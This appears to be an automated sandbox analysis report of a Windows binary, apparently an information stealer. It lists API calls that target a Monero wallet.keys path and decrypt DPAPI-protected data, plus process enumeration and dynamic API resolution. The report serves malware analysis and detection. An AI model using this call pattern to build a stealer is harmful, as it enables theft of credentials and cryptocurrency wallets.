Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 1bdb8d4d9971b1195d3e261ffb9e0a1a81d69f56138ec269e3033273130b6faf
Instruction ID: d6c866260839809a30da172f94e416c256128ee362ca6d6ab96de3877c61e292
Opcode Fuzzy Hash: 1bdb8d4d9971b1195d3e261ffb9e0a1a81d69f56138ec269e3033273130b6faf
Instruction Fuzzy Hash: B6415D71940218ABDB24DB94DC99BEEB778FF44704F2041DAE10966281DB386F86CFB5

Function 004AE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,004C0D73), ref: 004AE4A2
StrCmpCA.SHLWAPI(?,004C14F8), ref: 004AE4F2
StrCmpCA.SHLWAPI(?,004C14FC), ref: 004AE508
FindNextFileA.KERNEL32(000000FF,?), ref: 004AEBDF

Strings

\*.*, xrefs: 004AE44D

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 676fb078d6e71eb840aaff6a768120016f495209144e808a3001d65f4cd164e9
Instruction ID: 5e9be1ea5013867a6135dce931eb61cf448440ff4bfc8820883bd5277e325158
Opcode Fuzzy Hash: 676fb078d6e71eb840aaff6a768120016f495209144e808a3001d65f4cd164e9
Instruction Fuzzy Hash: CA126271900118BADB24FB71DCA6EED7338AF54304F40459EB50A96091EF386F59CBBA

Function 004B9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004B961E
Process32First.KERNEL32(004C0ACA,00000128), ref: 004B9632
Process32Next.KERNEL32(004C0ACA,00000128), ref: 004B9647
StrCmpCA.SHLWAPI(?,00000000), ref: 004B965C
CloseHandle.KERNEL32(004C0ACA), ref: 004B967A

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 74aaaf3fb0a2f2d1b0c7bca8380f05ec6e106c4f434ebd1a9fb7462a4c3b214d
Instruction ID: eee399c2c8793eb529fafbffff6888a87d4242c7e1dae2d2017600ef32bf716c
Opcode Fuzzy Hash: 74aaaf3fb0a2f2d1b0c7bca8380f05ec6e106c4f434ebd1a9fb7462a4c3b214d
Instruction Fuzzy Hash: EB010075A00308ABDB14DFA5CD84BDEBBF9EB48300F104189A90597240D738AF41CF61

Function 004B7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00FDF130,00000000,?,004C0E10,00000000,?,00000000,00000000), ref: 004B7A63
RtlAllocateHeap.NTDLL(00000000), ref: 004B7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00FDF130,00000000,?,004C0E10,00000000,?,00000000,00000000,?), ref: 004B7A7D
wsprintfA.USER32 ref: 004B7AB7

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 8bfcd2b225db4a88c13532625fb67d4c2c90d1693fd8fa1ac903075401d8e6da
Instruction ID: a02a7d3fe0ff59d6ac9fe085c817fe800fbb4641274bdbb9f469dd9f2a56f7ab
Opcode Fuzzy Hash: 8bfcd2b225db4a88c13532625fb67d4c2c90d1693fd8fa1ac903075401d8e6da
Instruction Fuzzy Hash: 851182B1945218DBDB108F54DC45F9ABB78F744711F10479AE506972C0D7782A40CF55

Function 004A9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004A9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 004A9BA3
LocalFree.KERNEL32(?), ref: 004A9BD3

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 95d430224abfb8e2aafcbb930e181d2e06ab8b423de06ff0f5e4c9ea8dc670c4
Instruction ID: ebd170da3061ec53ef4fb74cb7aa07508f57861561f094a5422076f2efa261a2
Opcode Fuzzy Hash: 95d430224abfb8e2aafcbb930e181d2e06ab8b423de06ff0f5e4c9ea8dc670c4
Instruction Fuzzy Hash: D71109B8A00209EFDB04DF94D985AAEB7B6FF8D304F104599E815AB350D774AE10CFA1

Function 004B7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004A11B7), ref: 004B7880
RtlAllocateHeap.NTDLL(00000000), ref: 004B7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 004B789F

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 2a66f42297974f00a42b03011e91ab8a235389ade7ff0e4fa4402748d9a2a827
Instruction ID: e209be1aa1702fcb90ed074368aa6e7e0b02dfa152e82a4a7e92db844f4bfee8
Opcode Fuzzy Hash: 2a66f42297974f00a42b03011e91ab8a235389ade7ff0e4fa4402748d9a2a827
Instruction Fuzzy Hash: 71F04FB1D44248ABCB00DFD8DD89BAEBBB8EB04711F10025AFA05A6680C77825048BA2

Function 004A1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 004A116A
ExitProcess.KERNEL32 ref: 004A117E

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: e10a12d3dbc30eb12f6bed3160ea9675ebdec190e4dbde71dabfb43b62651dbd
Instruction ID: 391a50b857e03d16509db873dd56596f785b40be0f985f150778b884fcdd350c
Opcode Fuzzy Hash: e10a12d3dbc30eb12f6bed3160ea9675ebdec190e4dbde71dabfb43b62651dbd
Instruction Fuzzy Hash: 3DD05E7890030CDBCF00DFE0D9896DDBB79FB0D312F101559E90562340EA306481CAA6

Function 004B9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00FC64F8), ref: 004B9C2D
GetProcAddress.KERNEL32(74DD0000,00FC65B8), ref: 004B9C45
GetProcAddress.KERNEL32(74DD0000,00FD93D0), ref: 004B9C5E
GetProcAddress.KERNEL32(74DD0000,00FD9418), ref: 004B9C76
GetProcAddress.KERNEL32(74DD0000,00FD9448), ref: 004B9C8E
GetProcAddress.KERNEL32(74DD0000,00FD9460), ref: 004B9CA7
GetProcAddress.KERNEL32(74DD0000,00FCB8B8), ref: 004B9CBF
GetProcAddress.KERNEL32(74DD0000,00FDD190), ref: 004B9CD7
GetProcAddress.KERNEL32(74DD0000,00FDCF50), ref: 004B9CF0
GetProcAddress.KERNEL32(74DD0000,00FDCFF8), ref: 004B9D08
GetProcAddress.KERNEL32(74DD0000,00FDD1A8), ref: 004B9D20
GetProcAddress.KERNEL32(74DD0000,00FC6538), ref: 004B9D39
GetProcAddress.KERNEL32(74DD0000,00FC6358), ref: 004B9D51
GetProcAddress.KERNEL32(74DD0000,00FC6338), ref: 004B9D69
GetProcAddress.KERNEL32(74DD0000,00FC6318), ref: 004B9D82
GetProcAddress.KERNEL32(74DD0000,00FDD100), ref: 004B9D9A
GetProcAddress.KERNEL32(74DD0000,00FDCF38), ref: 004B9DB2
GetProcAddress.KERNEL32(74DD0000,00FCB430), ref: 004B9DCB
GetProcAddress.KERNEL32(74DD0000,00FC6458), ref: 004B9DE3
GetProcAddress.KERNEL32(74DD0000,00FDCF68), ref: 004B9DFB
GetProcAddress.KERNEL32(74DD0000,00FDD088), ref: 004B9E14
GetProcAddress.KERNEL32(74DD0000,00FDD118), ref: 004B9E2C
GetProcAddress.KERNEL32(74DD0000,00FDCFB0), ref: 004B9E44
GetProcAddress.KERNEL32(74DD0000,00FC65D8), ref: 004B9E5D
GetProcAddress.KERNEL32(74DD0000,00FDCFC8), ref: 004B9E75
GetProcAddress.KERNEL32(74DD0000,00FDCF80), ref: 004B9E8D
GetProcAddress.KERNEL32(74DD0000,00FDCF20), ref: 004B9EA6
GetProcAddress.KERNEL32(74DD0000,00FDD028), ref: 004B9EBE
GetProcAddress.KERNEL32(74DD0000,00FDD0E8), ref: 004B9ED6
GetProcAddress.KERNEL32(74DD0000,00FDD148), ref: 004B9EEF
GetProcAddress.KERNEL32(74DD0000,00FDD070), ref: 004B9F07
GetProcAddress.KERNEL32(74DD0000,00FDD010), ref: 004B9F1F
GetProcAddress.KERNEL32(74DD0000,00FDD130), ref: 004B9F38
GetProcAddress.KERNEL32(74DD0000,00FDA088), ref: 004B9F50
GetProcAddress.KERNEL32(74DD0000,00FDD040), ref: 004B9F68
GetProcAddress.KERNEL32(74DD0000,00FDD160), ref: 004B9F81
GetProcAddress.KERNEL32(74DD0000,00FC6618), ref: 004B9F99
GetProcAddress.KERNEL32(74DD0000,00FDD178), ref: 004B9FB1
GetProcAddress.KERNEL32(74DD0000,00FC6398), ref: 004B9FCA
GetProcAddress.KERNEL32(74DD0000,00FDD058), ref: 004B9FE2
GetProcAddress.KERNEL32(74DD0000,00FDCFE0), ref: 004B9FFA
GetProcAddress.KERNEL32(74DD0000,00FC63D8), ref: 004BA013
GetProcAddress.KERNEL32(74DD0000,00FC6838), ref: 004BA02B
